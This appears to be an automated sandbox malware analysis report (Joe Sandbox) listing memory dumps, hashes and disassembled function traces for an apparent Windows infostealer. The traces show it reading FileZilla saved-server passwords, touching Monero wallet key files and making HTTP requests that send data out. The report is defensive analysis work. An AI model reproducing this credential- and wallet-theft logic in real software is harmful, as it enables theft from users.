Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: foE
API String ID: 0-1674453201
Opcode ID: ec8cd656d07a97354e9cb3455b2108a9b8500765e12d01b6dd36e0ce6bba99b4
Instruction ID: 14d0a5d532dfe05103c79cf0f6b1039b075b3d92790e77ac616ac356d9f0b0f6
Opcode Fuzzy Hash: ec8cd656d07a97354e9cb3455b2108a9b8500765e12d01b6dd36e0ce6bba99b4
Instruction Fuzzy Hash: 475187F740C300DFDB066E2AECA277EBBE5DB54220F15492FEAC246744F5B559019283

Function 00ED3F6A Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

6Q^_, xrefs: 00ED4023

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6Q^_
API String ID: 0-1184235609
Opcode ID: 87ff9da0c8d2f4c85a16e38709d56509b4a1ac9dfe93dba0262360759a7d98be
Instruction ID: 8691012eea41d9a46fcc9ed862d602b20dddaf2b97ea04194a03d8966caa9746
Opcode Fuzzy Hash: 87ff9da0c8d2f4c85a16e38709d56509b4a1ac9dfe93dba0262360759a7d98be
Instruction Fuzzy Hash: 294127F3A182045FF304A97CED9976BB79AD7D4324F1A863DEB85C7384E97988014241

Function 00F18662 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13292fbdd8fb7b6ff93849d15a949d55534a058f0f9aa3aa87a89fc90f8aa1cf
Instruction ID: 3a7b174eece0292f20de5f45ecd42f2f1b4107c8d9d9d4d9d70974758e39fe67
Opcode Fuzzy Hash: 13292fbdd8fb7b6ff93849d15a949d55534a058f0f9aa3aa87a89fc90f8aa1cf
Instruction Fuzzy Hash: 466148F390C214ABE3046E3DDD8567ABBE8EB54720F1A463DEEC893744F9359D048292

Function 00ED26DF Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8adf6f78e77fd38eaccbde5888988921d893ab1bcb3096afd0a709e9787b7c44
Instruction ID: ce012f108cf68d41d607498fc30bb45e71f25fe062a965601dcb76100617cab1
Opcode Fuzzy Hash: 8adf6f78e77fd38eaccbde5888988921d893ab1bcb3096afd0a709e9787b7c44
Instruction Fuzzy Hash: 705104B3D082109BE319EE29DC52A7BF7E5EF94720F16893DDAC593340EA3558018687

Function 01032829 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 511f33187112f9c630d2aed2ac45fc3a14933a55a742972a4518ff062a7822df
Instruction ID: 61db2a3b0d7bc0a71e144d2c118cf0f6b2abcfa75843a7cb05206cb9d2b27fec
Opcode Fuzzy Hash: 511f33187112f9c630d2aed2ac45fc3a14933a55a742972a4518ff062a7822df
Instruction Fuzzy Hash: 085144B390D614CFD204AF29DD4463EB6E9EBD4790F16892EDAC68B704EA3158418783

Function 00E6710A Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c53f7c9ab42f01bae4a63d16f295f9bd631ef80df7a99a3729f4305db3213076
Instruction ID: 751c835d24f8a08cef148e2c9a39761c3e85362ece8cd5a57d7fbfca5a656cb1
Opcode Fuzzy Hash: c53f7c9ab42f01bae4a63d16f295f9bd631ef80df7a99a3729f4305db3213076
Instruction Fuzzy Hash: 94415EF3B081005BE7085E29ED92BBBB7D6EBD4361F26813ED6C5C3384ED7558058692

Function 010043CE Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a67a8644121dce69ead6947dfafb0d465ba2dc7658eed5dd21a1757bde228c9e
Instruction ID: 4519bf4d1bef6e9aeff94aa8281b62d5c57d1ed104b9a344972ae7ae9eda1a70
Opcode Fuzzy Hash: a67a8644121dce69ead6947dfafb0d465ba2dc7658eed5dd21a1757bde228c9e
Instruction Fuzzy Hash: 4121D5B350C7149FE701AE1ADC856BAFBE5EF88220F068A2DEAD443B04D635684186C7

Function 00BD9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00BD0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BD8E0B

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BC99EC
Part of subcall function 00BC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BC9A11
Part of subcall function 00BC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00BC9A31
Part of subcall function 00BC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00BC148F,00000000), ref: 00BC9A5A
Part of subcall function 00BC99C0: LocalFree.KERNEL32(00BC148F), ref: 00BC9A90
Part of subcall function 00BC99C0: CloseHandle.KERNEL32(000000FF), ref: 00BC9A9A

Part of subcall function 00BD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BD8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00BE0DBA,00BE0DB7,00BE0DB6,00BE0DB3), ref: 00BD0362
RtlAllocateHeap.NTDLL(00000000), ref: 00BD0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00BD0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE0DB2), ref: 00BD0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00BD03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE0DB2), ref: 00BD03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00BD0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE0DB2), ref: 00BD0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00BD0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE0DB2), ref: 00BD0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE0DB2), ref: 00BD0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE0DB2), ref: 00BD051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE0DB2), ref: 00BD0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE0DB2), ref: 00BD054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00BD0562
lstrcat.KERNEL32(?,profile: null), ref: 00BD0571
lstrcat.KERNEL32(?,url: ), ref: 00BD0580
lstrcat.KERNEL32(?,00000000), ref: 00BD0593
lstrcat.KERNEL32(?,00BE1678), ref: 00BD05A2
lstrcat.KERNEL32(?,00000000), ref: 00BD05B5
lstrcat.KERNEL32(?,00BE167C), ref: 00BD05C4
lstrcat.KERNEL32(?,login: ), ref: 00BD05D3
lstrcat.KERNEL32(?,00000000), ref: 00BD05E6
lstrcat.KERNEL32(?,00BE1688), ref: 00BD05F5
lstrcat.KERNEL32(?,password: ), ref: 00BD0604
lstrcat.KERNEL32(?,00000000), ref: 00BD0617
lstrcat.KERNEL32(?,00BE1698), ref: 00BD0626
lstrcat.KERNEL32(?,00BE169C), ref: 00BD0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE0DB2), ref: 00BD068E

Strings

<Pass encoding="base64">, xrefs: 00BD045A
<Port>, xrefs: 00BD03C6
password: , xrefs: 00BD05FB
<User>, xrefs: 00BD0410
profile: null, xrefs: 00BD0568
login: , xrefs: 00BD05CA
url: , xrefs: 00BD0577
browser: FileZilla, xrefs: 00BD0559
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00BD02A4
<Host>, xrefs: 00BD037C

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: dbfac29bdb92a93620c6e6848029c0baa7bdc265f835c27def7c5c18ec4d91d0
Instruction ID: 64257bb1a9613ea6ccff80c08931508e4af7a0b4b05a93c91b60bb09ee6419cc
Opcode Fuzzy Hash: dbfac29bdb92a93620c6e6848029c0baa7bdc265f835c27def7c5c18ec4d91d0
Instruction Fuzzy Hash: 7CD150719102089FCB04FBE4DD96EEEB3B8EF14300F5485A9F502B6191EF75AA49CB61

Function 00BC5960 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BC4839
Part of subcall function 00BC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BC4849

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00BC59F8
StrCmpCA.SHLWAPI(?,013CEA08), ref: 00BC5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BC5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,013CEAC8,00000000,?,013CA780,00000000,?,00BE1A1C), ref: 00BC5E71
lstrlen.KERNEL32(00000000), ref: 00BC5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00BC5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00BC5E9A
lstrlen.KERNEL32(00000000), ref: 00BC5EAF
lstrlen.KERNEL32(00000000), ref: 00BC5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00BC5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00BC5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00BC5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00BC5F4C
InternetCloseHandle.WININET(00000000), ref: 00BC5FB0
InternetCloseHandle.WININET(00000000), ref: 00BC5FBD
HttpOpenRequestA.WININET(00000000,013CEA18,?,013CDFD8,00000000,00000000,00400100,00000000), ref: 00BC5BF8

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

InternetCloseHandle.WININET(00000000), ref: 00BC5FC7

Strings

de-DE, xrefs: 00BC5BBC
------, xrefs: 00BC5D4C
------, xrefs: 00BC5C0B
", xrefs: 00BC5E16
------, xrefs: 00BC5A96
", xrefs: 00BC5CD5

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$de-DE
API String ID: 874700897-1932956479
Opcode ID: cc9136a9bad73b44333713cc3ef977cdab795c356be2540a317e122520f98268
Instruction ID: 4c8f7c235716f2649b1f1f6e6f58d31fb78a8aa4043b7f96724586f76434fbfb
Opcode Fuzzy Hash: cc9136a9bad73b44333713cc3ef977cdab795c356be2540a317e122520f98268
Instruction Fuzzy Hash: 90121E71820118AADB15EBA0DC95FEEF3B8BF14700F5041EAB50672191FF712A89DF65

Function 00BCCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

